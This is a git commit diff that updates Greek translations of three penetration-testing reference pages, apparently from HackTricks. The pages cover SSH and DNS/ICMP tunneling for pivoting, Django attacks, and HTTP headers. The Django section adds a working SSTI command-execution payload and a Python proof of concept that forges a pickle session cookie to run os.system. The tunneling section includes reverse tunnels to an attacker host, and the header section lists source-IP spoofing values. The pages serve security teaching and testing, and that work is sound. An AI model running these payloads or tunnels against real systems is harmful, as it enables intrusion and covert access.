Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src

This commit is contained in:
Translator 2025-07-10 22:10:14 +00:00
parent 237fbcf7fc
commit 2f9090d163
3 changed files with 151 additions and 49 deletions

View File

@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
```
### VPN-Tunnel
Χρειάζεστε **root και στις δύο συσκευές** (καθώς πρόκειται να δημιουργήσετε νέες διεπαφές) και η ρύθμιση sshd πρέπει να επιτρέπει την είσοδο του root:\
Χρειάζεστε **root και στις δύο συσκευές** (καθώς πρόκειται να δημιουργήσετε νέες διεπαφές) και η ρύθμιση του sshd πρέπει να επιτρέπει την είσοδο του root:\
`PermitRootLogin yes`\
`PermitTunnel yes`
```bash
@ -89,12 +89,12 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
```
> [!NOTE]
> **Ασφάλεια Επίθεση Terrapin (CVE-2023-48795)**
> Η επίθεση υποβάθμισης Terrapin του 2023 μπορεί να επιτρέψει σε έναν επιτιθέμενο man-in-the-middle να παραποιήσει το αρχικό handshake SSH και να εισάγει δεδομένα σε **οποιοδήποτε προωθημένο κανάλι** ( `-L`, `-R`, `-D` ). Βεβαιωθείτε ότι τόσο ο πελάτης όσο και ο διακομιστής είναι ενημερωμένοι (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ή απενεργοποιήστε ρητά τους ευάλωτους αλγόριθμους `chacha20-poly1305@openssh.com` και `*-etm@openssh.com` στο `sshd_config`/`ssh_config` πριν βασιστείτε σε SSH tunnels. citeturn4search0
> Η επίθεση υποβάθμισης Terrapin του 2023 μπορεί να επιτρέψει σε έναν επιτιθέμενο man-in-the-middle να παραποιήσει την πρώιμη διαδικασία handshake του SSH και να εισάγει δεδομένα σε **οποιοδήποτε προωθημένο κανάλι** ( `-L`, `-R`, `-D` ). Βεβαιωθείτε ότι τόσο ο πελάτης όσο και ο διακομιστής είναι ενημερωμένοι (**OpenSSH ≥ 9.6/LibreSSH 6.7**) ή απενεργοποιήστε ρητά τους ευάλωτους αλγόριθμους `chacha20-poly1305@openssh.com` και `*-etm@openssh.com` στο `sshd_config`/`ssh_config` πριν βασιστείτε σε SSH tunnels.
## SSHUTTLE
Μπορείτε να **δημιουργήσετε σήραγγα** μέσω **ssh** όλης της **κυκλοφορίας** σε ένα **υποδίκτυο** μέσω ενός κεντρικού υπολογιστή.\
Για παράδειγμα, προωθώντας όλη την κυκλοφορία που πηγαίνει στο 10.10.10.0/24
Για παράδειγμα, προωθώντας όλη την κυκλοφορία που πηγαίνει προς το 10.10.10.0/24
```bash
pip install sshuttle
sshuttle -r user@host 10.10.10.10/24
@ -156,14 +156,14 @@ rportfwd stop [bind port]
```
Για σημείωση:
- Η αντίστροφη προώθηση θύρας του Beacon έχει σχεδιαστεί για να **συνδέει την κίνηση με τον Team Server, όχι για τη διαμεσολάβηση μεταξύ μεμονωμένων μηχανών**.
- Η αντίστροφη προώθηση θύρας του Beacon έχει σχεδιαστεί για να **συνδέει την κίνηση με τον Server Ομάδας, όχι για τη διαμεσολάβηση μεταξύ μεμονωμένων μηχανών**.
- Η κίνηση είναι **συνδεδεμένη μέσα στην κίνηση C2 του Beacon**, συμπεριλαμβανομένων των P2P συνδέσεων.
- **Δικαιώματα διαχειριστή δεν απαιτούνται** για τη δημιουργία αντίστροφων προωθήσεων θύρας σε υψηλές θύρες.
### rPort2Port τοπικά
> [!WARNING]
> Σε αυτή την περίπτωση, η **θύρα ανοίγεται στον οικοδεσπότη beacon**, όχι στον Team Server και η **κίνηση αποστέλλεται στον πελάτη Cobalt Strike** (όχι στον Team Server) και από εκεί στον καθορισμένο host:port
> Σε αυτή την περίπτωση, η **θύρα ανοίγεται στον υπολογιστή beacon**, όχι στον Server Ομάδας και η **κίνηση αποστέλλεται στον πελάτη Cobalt Strike** (όχι στον Server Ομάδας) και από εκεί στον καθορισμένο host:port
```bash
rportfwd_local [bind port] [forward host] [forward port]
rportfwd_local stop [bind port]
@ -199,7 +199,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
[https://github.com/nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng)
**Χρησιμοποιήστε την ίδια έκδοση για τον πράκτορα και τον διακομιστή μεσολάβησης**
**Χρησιμοποιήστε την ίδια έκδοση για τον πράκτορα και τον μεσολαβητή**
### Tunneling
```bash
@ -223,7 +223,7 @@ interface_add_route --name "ligolo" --route <network_address_agent>/<netmask_age
# Display the tun interfaces -- Attacker
interface_list
```
### Σύνδεση και Ακρόαση του Πράκτορα
### Σύνδεση και Ακρόαση
```bash
# Establish a tunnel from the proxy server to the agent
# Create a TCP listening socket on the agent (0.0.0.0) on port 30000 and forward incoming TCP connections to the proxy (127.0.0.1) on port 10000 -- Attacker
@ -353,7 +353,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Αυτό το εργαλείο χρησιμοποιεί `Dynamic Virtual Channels` (`DVC`) από τη δυνατότητα Remote Desktop Service των Windows. Το DVC είναι υπεύθυνο για **tunneling πακέτων μέσω της σύνδεσης RDP**.
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
Στον υπολογιστή-πελάτη σας, φορτώστε **`SocksOverRDP-Plugin.dll`** όπως αυτό:
Στον υπολογιστή-πελάτη σας φορτώστε **`SocksOverRDP-Plugin.dll`** όπως αυτό:
```bash
# Load SocksOverRDP.dll using regsvr32.exe
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
@ -368,13 +368,13 @@ C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
```
netstat -antb | findstr 1080
```
Τώρα μπορείτε να χρησιμοποιήσετε [**Proxifier**](https://www.proxifier.com/) **για να προξενήσετε την κίνηση μέσω αυτού του θύρας.**
Τώρα μπορείτε να χρησιμοποιήσετε [**Proxifier**](https://www.proxifier.com/) **για να προξενήσετε την κίνηση μέσω αυτού του πόρου.**
## Προξενήστε εφαρμογές Windows GUI
Μπορείτε να κάνετε τις εφαρμογές Windows GUI να περιηγούνται μέσω ενός proxy χρησιμοποιώντας [**Proxifier**](https://www.proxifier.com/).\
Στο **Profile -> Proxy Servers** προσθέστε τη διεύθυνση IP και τη θύρα του διακομιστή SOCKS.\
Στο **Profile -> Proxification Rules** προσθέστε το όνομα του προγράμματος που θέλετε να προξενήσετε και τις συνδέσεις στις διευθύνσεις IP που θέλετε να προξενήσετε.
Στο **Profile -> Proxy Servers** προσθέστε τη διεύθυνση IP και τον πόρο του διακομιστή SOCKS.\
Στο **Profile -> Proxification Rules** προσθέστε το όνομα του προγράμματος που θέλετε να προξενήσετε και τις συνδέσεις προς τις διευθύνσεις IP που θέλετε να προξενήσετε.
## Παράκαμψη proxy NTLM
@ -388,7 +388,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
Αυθεντικοποιεί έναν proxy και δεσμεύει μια θύρα τοπικά που προωθείται στην εξωτερική υπηρεσία που καθορίζετε. Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το εργαλείο της επιλογής σας μέσω αυτής της θύρας.\
Για παράδειγμα, προωθήστε τη θύρα 443
Για παράδειγμα, προωθήστε τη θύρα 443.
```
Username Alice
Password P@ssw0rd
@ -396,8 +396,8 @@ Domain CONTOSO.COM
Proxy 10.0.0.10:8080
Tunnel 2222:<attackers_machine>:443
```
Τώρα, αν ρυθμίσετε για παράδειγμα στο θύμα την υπηρεσία **SSH** να ακούει στην πόρτα 443. Μπορείτε να συνδεθείτε σε αυτή μέσω της θύρας του επιτιθέμενου 2222.\
Μπορείτε επίσης να χρησιμοποιήσετε ένα **meterpreter** που συνδέεται στο localhost:443 και ο επιτιθέμενος ακούει στην πόρτα 2222.
Τώρα, αν ρυθμίσετε για παράδειγμα στην θυματική μηχανή την υπηρεσία **SSH** να ακούει στην θύρα 443. Μπορείτε να συνδεθείτε σε αυτήν μέσω της θύρας 2222 του επιτιθέμενου.\
Μπορείτε επίσης να χρησιμοποιήσετε ένα **meterpreter** που συνδέεται στο localhost:443 και ο επιτιθέμενος ακούει στην θύρα 2222.
## YARP
@ -409,7 +409,7 @@ Tunnel 2222:<attackers_machine>:443
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
Απαιτείται root και στα δύο συστήματα για να δημιουργηθούν οι προσαρμογείς tun και να μεταφερθούν δεδομένα μεταξύ τους χρησιμοποιώντας ερωτήματα DNS.
Απαιτείται root και στα δύο συστήματα για να δημιουργηθούν οι προσαρμογείς tun και να μεταφερθούν δεδομένα μεταξύ τους χρησιμοποιώντας DNS ερωτήματα.
```
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
@ -446,9 +446,9 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
```
#### Αλλαγή DNS του proxychains
Το Proxychains παρεμβαίνει στην κλήση `gethostbyname` της libc και σήραγγες το tcp DNS αίτημα μέσω του socks proxy. Από **προεπιλογή**, ο **DNS** διακομιστής που χρησιμοποιεί το proxychains είναι **4.2.2.2** (σκληρά κωδικοποιημένος). Για να τον αλλάξετε, επεξεργαστείτε το αρχείο: _/usr/lib/proxychains3/proxyresolv_ και αλλάξτε τη διεύθυνση IP. Αν βρίσκεστε σε **περιβάλλον Windows**, μπορείτε να ορίσετε τη διεύθυνση IP του **domain controller**.
Το Proxychains παρεμβαίνει στην κλήση `gethostbyname` της libc και στέλνει τα αιτήματα DNS tcp μέσω του socks proxy. Από **προεπιλογή**, ο **DNS** διακομιστής που χρησιμοποιεί το proxychains είναι **4.2.2.2** (σκληρά κωδικοποιημένος). Για να τον αλλάξετε, επεξεργαστείτε το αρχείο: _/usr/lib/proxychains3/proxyresolv_ και αλλάξτε τη διεύθυνση IP. Αν βρίσκεστε σε **περιβάλλον Windows**, μπορείτε να ορίσετε τη διεύθυνση IP του **domain controller**.
## Σήραγγες σε Go
## Τούνελ σε Go
[https://github.com/hotnops/gtunnel](https://github.com/hotnops/gtunnel)
@ -459,7 +459,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
Απαιτείται root και στα δύο συστήματα για να δημιουργηθούν tun adapters και να σήραγγες δεδομένα μεταξύ τους χρησιμοποιώντας ICMP echo requests.
Απαιτείται root και στα δύο συστήματα για να δημιουργηθούν οι προσαρμογείς tun και να μεταφερθούν δεδομένα μεταξύ τους χρησιμοποιώντας αιτήματα ICMP echo.
```bash
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
./hans -f -c <server_ip> -p P@ssw0rd -v
@ -518,7 +518,7 @@ _Είναι επίσης δυνατή η προσθήκη αυθεντικοπο
#### Sniffing HTTP calls
_Χρήσιμο για XSS, SSRF, SSTI ..._\
Άμεσα από το stdout ή στη διεπαφή HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
Απευθείας από το stdout ή στη διεπαφή HTTP [http://127.0.0.1:4040](http://127.0.0.1:4000).
#### Tunneling internal HTTP service
```bash
@ -574,7 +574,7 @@ url: http://127.0.0.1:8000
```bash
cloudflared tunnel run mytunnel
```
Γιατί όλη η κίνηση φεύγει από τον υπολογιστή **outbound over 443**, οι σήραγγες Cloudflared είναι ένας απλός τρόπος για να παρακάμψετε τα ingress ACLs ή τα NAT boundaries. Να είστε προσεκτικοί ότι το δυαδικό αρχείο συνήθως εκτελείται με αυξημένα δικαιώματα χρησιμοποιήστε κοντέινερ ή την επιλογή `--user` όταν είναι δυνατόν. citeturn1search0
Επειδή όλη η κίνηση φεύγει από τον υπολογιστή **outbound over 443**, οι σήραγγες Cloudflared είναι ένας απλός τρόπος για να παρακάμψετε τα ingress ACLs ή τα NAT boundaries. Να είστε προσεκτικοί ότι το δυαδικό αρχείο συνήθως εκτελείται με αυξημένα δικαιώματα χρησιμοποιήστε κοντέινερ ή την επιλογή `--user` όταν είναι δυνατόν.
## FRP (Fast Reverse Proxy)
@ -608,7 +608,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
# On victim (OpenSSH client only)
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
```
Η παραπάνω εντολή δημοσιεύει την θύρα του θύματος **8080** ως **attacker_ip:9000** χωρίς να αναπτύξει επιπλέον εργαλεία ιδανικό για living-off-the-land pivoting. citeturn2search1
Η παραπάνω εντολή δημοσιεύει την θύρα του θύματος **8080** ως **attacker_ip:9000** χωρίς να αναπτύξει επιπλέον εργαλεία ιδανικό για pivoting που βασίζεται σε υπάρχοντα εργαλεία.
## Άλλα εργαλεία για έλεγχο

View File

@ -2,11 +2,78 @@
{{#include /banners/hacktricks-training.md}}
## Manipulation Cache για RCE
Η προεπιλεγμένη μέθοδος αποθήκευσης cache του Django είναι [Python pickles](https://docs.python.org/3/library/pickle.html), η οποία μπορεί να οδηγήσει σε RCE αν [μη αξιόπιστη είσοδος αποσυμπιεστεί](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Αν ένας επιτιθέμενος μπορέσει να αποκτήσει δικαιώματα εγγραφής στην cache, μπορεί να κλιμακώσει αυτή την ευπάθεια σε RCE στον υποκείμενο διακομιστή**.
## Cache Manipulation to RCE
Η προεπιλεγμένη μέθοδος αποθήκευσης cache του Django είναι [Python pickles](https://docs.python.org/3/library/pickle.html), η οποία μπορεί να οδηγήσει σε RCE αν [μη αξιόπιστα δεδομένα αποσυμπιεστούν](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Αν ένας επιτιθέμενος μπορέσει να αποκτήσει δικαιώματα εγγραφής στην cache, μπορεί να κλιμακώσει αυτή την ευπάθεια σε RCE στον υποκείμενο διακομιστή**.
Η cache του Django αποθηκεύεται σε μία από τέσσερις τοποθεσίες: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [μνήμη](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [αρχεία](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ή μια [βάση δεδομένων](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Η cache που αποθηκεύεται σε διακομιστή Redis ή βάση δεδομένων είναι οι πιο πιθανές διαδρομές επίθεσης (Redis injection και SQL injection), αλλά ένας επιτιθέμενος μπορεί επίσης να είναι σε θέση να χρησιμοποιήσει την cache βασισμένη σε αρχεία για να μετατρέψει μια αυθαίρετη εγγραφή σε RCE. Οι συντηρητές έχουν χαρακτηρίσει αυτό ως μη ζήτημα. Είναι σημαντικό να σημειωθεί ότι ο φάκελος αρχείων cache, το όνομα πίνακα SQL και οι λεπτομέρειες του διακομιστή Redis θα διαφέρουν ανάλογα με την υλοποίηση.
Αυτή η αναφορά HackerOne παρέχει ένα εξαιρετικό, αναπαραγώγιμο παράδειγμα εκμετάλλευσης της cache του Django που αποθηκεύεται σε μια βάση δεδομένων SQLite: https://hackerone.com/reports/1415436
Αυτή η αναφορά του HackerOne παρέχει ένα εξαιρετικό, αναπαραγώγιμο παράδειγμα εκμετάλλευσης της cache του Django που αποθηκεύεται σε μια βάση δεδομένων SQLite: https://hackerone.com/reports/1415436
---
## Server-Side Template Injection (SSTI)
Η Γλώσσα Προτύπων Django (DTL) είναι **Turing-complete**. Αν τα δεδομένα που παρέχονται από τον χρήστη αποδοθούν ως *string προτύπου* (για παράδειγμα καλώντας `Template(user_input).render()` ή όταν το `|safe`/`format_html()` αφαιρεί την αυτόματη απόδραση), ένας επιτιθέμενος μπορεί να επιτύχει πλήρη SSTI → RCE.
### Detection
1. Αναζητήστε δυναμικές κλήσεις σε `Template()` / `Engine.from_string()` / `render_to_string()` που περιλαμβάνουν *οποιαδήποτε* μη απολυμασμένα δεδομένα αιτήματος.
2. Στείλτε ένα payload βασισμένο σε χρόνο ή αριθμητικό:
```django
{{7*7}}
```
Αν η αποδοθείσα έξοδος περιέχει `49`, η είσοδος έχει μεταγλωττιστεί από τον μηχανισμό προτύπων.
### Primitive to RCE
Ο Django αποκλείει την άμεση πρόσβαση στο `__import__`, αλλά το γραφικό αντικειμένων Python είναι προσβάσιμο:
```django
{{''.__class__.mro()[1].__subclasses__()}}
```
Βρείτε τον δείκτη του `subprocess.Popen` (≈400500 ανάλογα με την έκδοση του Python) και εκτελέστε αυθαίρετες εντολές:
```django
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
```
Ένα πιο ασφαλές καθολικό εργαλείο είναι να επαναλαμβάνετε μέχρι `cls.__name__ == 'Popen'`.
Το ίδιο εργαλείο λειτουργεί για τις δυνατότητες απόδοσης προτύπων **Debug Toolbar** ή **Django-CMS** που χειρίζονται λανθασμένα την είσοδο του χρήστη.
---
## RCE με Cookie Συνεδρίας Βασισμένο σε Pickle
Εάν η ρύθμιση `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` είναι ενεργοποιημένη (ή ένας προσαρμοσμένος σειριαστής που αποσυμπιέζει pickle), το Django *αποκρυπτογραφεί και αποσυμπιέζει* το cookie συνεδρίας **πριν** καλέσει οποιονδήποτε κωδικό προβολής. Επομένως, η κατοχή ενός έγκυρου κλειδιού υπογραφής (το `SECRET_KEY` του έργου από προεπιλογή) είναι αρκετή για άμεση απομακρυσμένη εκτέλεση κώδικα.
### Απαιτήσεις Εκμετάλλευσης
* Ο διακομιστής χρησιμοποιεί `PickleSerializer`.
* Ο επιτιθέμενος γνωρίζει / μπορεί να μαντέψει το `settings.SECRET_KEY` (διαρροές μέσω GitHub, `.env`, σελίδες σφαλμάτων κ.λπ.).
### Απόδειξη της Έννοιας
```python
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
```
Στείλτε το αποτέλεσμα cookie, και το payload εκτελείται με τις άδειες του WSGI worker.
**Μειώσεις**: Διατηρήστε τον προεπιλεγμένο `JSONSerializer`, περιστρέψτε το `SECRET_KEY`, και ρυθμίστε το `SESSION_COOKIE_HTTPONLY`.
---
## Πρόσφατα (2023-2025) Υψηλής Επίδρασης Django CVEs που πρέπει να ελέγξουν οι Pentesters
* **CVE-2025-48432** *Εισαγωγή Καταγραφής μέσω μη διαφυλαγμένου `request.path`* (διορθώθηκε 4 Ιουνίου 2025). Επιτρέπει στους επιτιθέμενους να μεταφέρουν νέες γραμμές/κωδικούς ANSI σε αρχεία καταγραφής και να δηλητηριάσουν την ανάλυση καταγραφής. Επίπεδο patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
* **CVE-2024-42005** *Κρίσιμη SQL injection* στο `QuerySet.values()/values_list()` στο `JSONField` (CVSS 9.8). Δημιουργήστε κλειδιά JSON για να σπάσετε την παράθεση και να εκτελέσετε αυθαίρετη SQL. Διορθώθηκε στην 4.2.15 / 5.0.8.
Πάντα να αναγνωρίζετε την ακριβή έκδοση του πλαισίου μέσω της σελίδας σφάλματος `X-Frame-Options` ή του hash του `/static/admin/css/base.css` και να δοκιμάζετε τα παραπάνω όπου είναι εφαρμόσιμο.
---
## Αναφορές
* Ασφαλής έκδοση Django "Django 5.2.2, 5.1.10, 4.2.22 αντιμετωπίζει το CVE-2025-48432" 4 Ιουνίου 2025.
* OP-Innovate: "Η Django κυκλοφορεί ενημερώσεις ασφαλείας για να αντιμετωπίσει την αδυναμία SQL injection CVE-2024-42005" 11 Αυγούστου 2024.
{{#include /banners/hacktricks-training.md}}

View File

@ -1,4 +1,4 @@
# Ειδικοί HTTP επικεφαλίδες
# Ειδικοί HTTP κεφαλίδες
{{#include ../../banners/hacktricks-training.md}}
@ -7,7 +7,7 @@
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
## Επικεφαλίδες για Αλλαγή Τοποθεσίας
## Κεφαλίδες για Αλλαγή Τοποθεσίας
Αναδιατύπωση **IP πηγής**:
@ -26,16 +26,16 @@
- `True-Client-IP: 127.0.0.1`
- `Cluster-Client-IP: 127.0.0.1`
- `Via: 1.0 fred, 1.1 127.0.0.1`
- `Connection: close, X-Forwarded-For` (Ελέγξτε τις επικεφαλίδες hop-by-hop)
- `Connection: close, X-Forwarded-For` (Ελέγξτε τις κεφαλίδες hop-by-hop)
Αναδιατύπωση **τοποθεσίας**:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
## Επικεφαλίδες Hop-by-Hop
## Κεφαλίδες Hop-by-Hop
Μια επικεφαλίδα hop-by-hop είναι μια επικεφαλίδα που έχει σχεδιαστεί για να επεξεργάζεται και να καταναλώνεται από τον proxy που χειρίζεται την αίτηση, σε αντίθεση με μια επικεφαλίδα end-to-end.
Μια κεφαλίδα hop-by-hop είναι μια κεφαλίδα που έχει σχεδιαστεί για να επεξεργάζεται και να καταναλώνεται από τον proxy που χειρίζεται την αίτηση, σε αντίθεση με μια κεφαλίδα end-to-end.
- `Connection: close, X-Forwarded-For`
@ -52,14 +52,14 @@
../../pentesting-web/http-request-smuggling/
{{#endref}}
## Επικεφαλίδες Cache
## Κεφαλίδες Cache
**Επικεφαλίδες Cache Διακομιστή**:
**Κεφαλίδες Cache Διακομιστή**:
- **`X-Cache`** στην απάντηση μπορεί να έχει την τιμή **`miss`** όταν η αίτηση δεν έχει αποθηκευτεί στην cache και την τιμή **`hit`** όταν είναι αποθηκευμένη
- Παρόμοια συμπεριφορά στην επικεφαλίδα **`Cf-Cache-Status`**
- Παρόμοια συμπεριφορά στην κεφαλίδα **`Cf-Cache-Status`**
- **`Cache-Control`** υποδεικνύει αν ένας πόρος αποθηκεύεται στην cache και πότε θα είναι η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: `Cache-Control: public, max-age=1800`
- **`Vary`** χρησιμοποιείται συχνά στην απάντηση για να **υποδείξει επιπλέον επικεφαλίδες** που θεωρούνται **μέρος του κλειδιού cache** ακόμη και αν κανονικά δεν είναι κλειδωμένες.
- **`Vary`** χρησιμοποιείται συχνά στην απάντηση για να **υποδείξει επιπλέον κεφαλίδες** που θεωρούνται **μέρος του κλειδιού cache** ακόμη και αν κανονικά δεν είναι κλειδωμένες.
- **`Age`** ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην cache του proxy.
- **`Server-Timing: cdn-cache; desc=HIT`** υποδεικνύει επίσης ότι ένας πόρος έχει αποθηκευτεί στην cache
@ -67,24 +67,24 @@
../../pentesting-web/cache-deception/
{{#endref}}
**Τοπικές επικεφαλίδες Cache**:
**Τοπικές κεφαλίδες Cache**:
- `Clear-Site-Data`: Επικεφαλίδα για να υποδείξει την cache που πρέπει να αφαιρεθεί: `Clear-Site-Data: "cache", "cookies"`
- `Clear-Site-Data`: Κεφαλίδα για να υποδείξει την cache που πρέπει να αφαιρεθεί: `Clear-Site-Data: "cache", "cookies"`
- `Expires`: Περιέχει ημερομηνία/ώρα όταν η απάντηση πρέπει να λήξει: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
- `Pragma: no-cache` το ίδιο με `Cache-Control: no-cache`
- `Warning`: Η **`Warning`** γενική HTTP επικεφαλίδα περιέχει πληροφορίες σχετικά με πιθανά προβλήματα με την κατάσταση του μηνύματος. Περισσότερες από μία `Warning` επικεφαλίδες μπορεί να εμφανιστούν σε μια απάντηση. `Warning: 110 anderson/1.3.37 "Response is stale"`
- `Warning`: Η **`Warning`** γενική κεφαλίδα HTTP περιέχει πληροφορίες σχετικά με πιθανά προβλήματα με την κατάσταση του μηνύματος. Περισσότερες από μία κεφαλίδες `Warning` μπορεί να εμφανιστούν σε μια απάντηση. `Warning: 110 anderson/1.3.37 "Response is stale"`
## Συνθήκες
- Οι αιτήσεις που χρησιμοποιούν αυτές τις επικεφαλίδες: **`If-Modified-Since`** και **`If-Unmodified-Since`** θα απαντηθούν με δεδομένα μόνο αν η επικεφαλίδα απάντησης **`Last-Modified`** περιέχει διαφορετική ώρα.
- Οι συνθήκες αιτήσεων που χρησιμοποιούν **`If-Match`** και **`If-None-Match`** χρησιμοποιούν μια τιμή Etag ώστε ο διακομιστής ιστού να στείλει το περιεχόμενο της απάντησης αν τα δεδομένα (Etag) έχουν αλλάξει. Το `Etag` λαμβάνεται από την HTTP απάντηση.
- Η τιμή **Etag** υπολογίζεται συνήθως **με βάση** το **περιεχόμενο** της απάντησης. Για παράδειγμα, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` υποδεικνύει ότι το `Etag` είναι το **Sha1** των **37 bytes**.
- Οι αιτήσεις που χρησιμοποιούν αυτές τις κεφαλίδες: **`If-Modified-Since`** και **`If-Unmodified-Since`** θα απαντηθούν με δεδομένα μόνο αν η κεφαλίδα απάντησης **`Last-Modified`** περιέχει διαφορετική ώρα.
- Οι συνθήκες αιτήσεων που χρησιμοποιούν **`If-Match`** και **`If-None-Match`** χρησιμοποιούν μια τιμή Etag ώστε ο διακομιστής ιστού να στείλει το περιεχόμενο της απάντησης αν τα δεδομένα (Etag) έχουν αλλάξει. Το `Etag` λαμβάνεται από την απάντηση HTTP.
- Η τιμή **Etag** υπολογίζεται συνήθως **βάσει** του **περιεχομένου** της απάντησης. Για παράδειγμα, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` υποδεικνύει ότι το `Etag` είναι το **Sha1** των **37 bytes**.
## Αιτήσεις Εύρους
- **`Accept-Ranges`**: Υποδεικνύει αν ο διακομιστής υποστηρίζει αιτήσεις εύρους, και αν ναι σε ποια μονάδα μπορεί να εκφραστεί το εύρος. `Accept-Ranges: <range-unit>`
- **`Range`**: Υποδεικνύει το μέρος ενός εγγράφου που ο διακομιστής πρέπει να επιστρέψει. Για παράδειγμα, `Range:80-100` θα επιστρέψει τα bytes 80 έως 100 της αρχικής απάντησης με κωδικό κατάστασης 206 Partial Content. Επίσης, θυμηθείτε να αφαιρέσετε την επικεφαλίδα `Accept-Encoding` από την αίτηση.
- Αυτό θα μπορούσε να είναι χρήσιμο για να αποκτήσετε μια απάντηση με αυθαίρετο κωδικό javascript που διαφορετικά θα μπορούσε να διαφύγει. Αλλά για να το εκμεταλλευτείτε αυτό θα χρειαστεί να εισάγετε αυτές τις επικεφαλίδες στην αίτηση.
- **`Range`**: Υποδεικνύει το μέρος ενός εγγράφου που ο διακομιστής πρέπει να επιστρέψει. Για παράδειγμα, `Range:80-100` θα επιστρέψει τα bytes 80 έως 100 της αρχικής απάντησης με κωδικό κατάστασης 206 Partial Content. Επίσης, θυμηθείτε να αφαιρέσετε την κεφαλίδα `Accept-Encoding` από την αίτηση.
- Αυτό θα μπορούσε να είναι χρήσιμο για να αποκτήσετε μια απάντηση με αυθαίρετο κωδικό javascript που διαφορετικά θα μπορούσε να διαφύγει. Αλλά για να το εκμεταλλευτείτε αυτό θα χρειαστεί να εισάγετε αυτές τις κεφαλίδες στην αίτηση.
- **`If-Range`**: Δημιουργεί μια συνθήκη αίτησης εύρους που εκπληρώνεται μόνο αν το δεδομένο etag ή ημερομηνία ταιριάζει με τον απομακρυσμένο πόρο. Χρησιμοποιείται για να αποτρέψει τη λήψη δύο εύρων από ασύμβατες εκδόσεις του πόρου.
- **`Content-Range`**: Υποδεικνύει πού σε ένα πλήρες μήνυμα σώματος ανήκει ένα μερικό μήνυμα.
@ -93,13 +93,13 @@
- **`Content-Length`:** Το μέγεθος του πόρου, σε δεκαδικό αριθμό bytes.
- **`Content-Type`**: Υποδεικνύει τον τύπο μέσου του πόρου
- **`Content-Encoding`**: Χρησιμοποιείται για να προσδιορίσει τον αλγόριθμο συμπίεσης.
- **`Content-Language`**: Περιγράφει τη γλώσσα(ες) που προορίζονται για το κοινό, ώστε να επιτρέπει σε έναν χρήστη να διαφοροποιεί σύμφωνα με τη δική του προτιμώμενη γλώσσα.
- **`Content-Language`**: Περιγράφει τη γλώσσα(ες) που προορίζονται για το κοινό, ώστε να επιτρέπει σε έναν χρήστη να διαφοροποιεί σύμφωνα με την προτιμώμενη γλώσσα του.
- **`Content-Location`**: Υποδεικνύει μια εναλλακτική τοποθεσία για τα επιστρεφόμενα δεδομένα.
Από την άποψη ενός pentest, αυτές οι πληροφορίες είναι συνήθως "άχρηστες", αλλά αν ο πόρος είναι **προστατευμένος** από έναν 401 ή 403 και μπορείτε να βρείτε κάποιο **τρόπο** να **πάρετε** αυτές τις **πληροφορίες**, αυτό θα μπορούσε να είναι **ενδιαφέρον.**\
Από την άποψη ενός pentest, αυτές οι πληροφορίες είναι συνήθως "άχρηστες", αλλά αν ο πόρος είναι **προστατευμένος** από 401 ή 403 και μπορείτε να βρείτε κάποιο **τρόπο** να **πάρετε** αυτές τις **πληροφορίες**, αυτό θα μπορούσε να είναι **ενδιαφέρον.**\
